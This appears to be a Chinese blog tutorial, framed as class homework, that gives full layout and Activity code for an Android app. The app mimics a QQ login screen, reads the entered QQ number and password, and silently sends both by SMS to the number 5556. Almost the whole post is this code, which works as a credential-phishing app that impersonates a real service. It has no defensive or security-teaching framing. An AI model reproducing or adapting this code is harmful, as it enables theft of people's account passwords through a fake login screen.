【Android之获取输入用户名与密码发送短信】亦余心之所善兮,虽九死其犹未悔。这篇文章主要讲述Android之获取输入用户名与密码发送短信相关的知识,希望能为你提供帮助。
打算不超过三天的时间我就要准备出发了,所以把之前的资料来个总结。
这都是在课堂上做过的作业。
好了,废话少说,直接上代码。
步骤:
1.设置单击事件
2.获取输入的QQ号码与密码
3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续
4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取
5.发送QQ号码与密码
布局:
< LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center_horizontal" android:orientation="vertical" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".MainActivity" > < ImageView android:background="#09A3DC" android:layout_width="match_parent" android:layout_height="wrap_content" android:src="https://www.songbingjia.com/android/@drawable/qq" /> < !--输入QQ号码--> < EditText android:id="@+id/et_qqNumber" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginTop="20dp" android:hint="请输入qq号码:" android:inputType="numberSigned" /> < !--输入QQ密码--> < EditText android:id="@+id/et_qqPassword" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginTop="20dp" android:hint="请输入qq密码:" android:inputType="textPassword" /> < Button android:id="@+id/btn_login" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginTop="20dp" android:textColor="#ffffff" android:background="#09A3DC" android:text="登录"/> < /LinearLayout>
Activity:
public class MainActivity extends Activity { EditText et_qqNumber; EditText et_qqPassword; Button btn_login; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); et_qqNumber=(EditText) findViewById(R.id.et_qqNumber); et_qqPassword=(EditText) findViewById(R.id.et_qqPassword); btn_login=(Button) findViewById(R.id.btn_login); btn_login.setOnClickListener(new OnClickListener() {@Override public void onClick(View v) { //2.获取输入的QQ号码与密码 String qq = et_qqNumber.getText().toString().trim(); String password = et_qqPassword.getText().toString().trim(); // 3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续 if(TextUtils.isEmpty(qq)|| TextUtils.isEmpty(password)){ Toast.makeText(MainActivity.this, "QQ号码或者密码不能为空!", Toast.LENGTH_SHORT).show(); return ; } // 4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取 SmsManager manager = SmsManager.getDefault(); // 5.发送QQ号码与密码 String message="qq :"+qq+",pwd:"+password; manager.sendTextMessage("5556", null, message, null, null); /* * 分离短信 ArrayList< String> divideMessage = manager.divideMessage(message); for (String str : divideMessage) { manager.sendTextMessage("5556", null, str, null, null); }*/ } }); }}
推荐阅读
- Delphi XE7编译安卓程序出错了
- Delphi XE7的安卓程序如何调用JAVA的JAR,使用JAVA的类()
- Android之动画2
- Android讯飞语音云语音听写学习
- Android 延时执行任务的三种简单方法
- CSS高级布局(Flexbox布局完全指南)
- Python如何使用Collections.UserDict(代码示例)
- 算法设计(将第一个元素加倍,然后将零移动到结尾)
- Python程序如何实现在列表中查找第二大数字()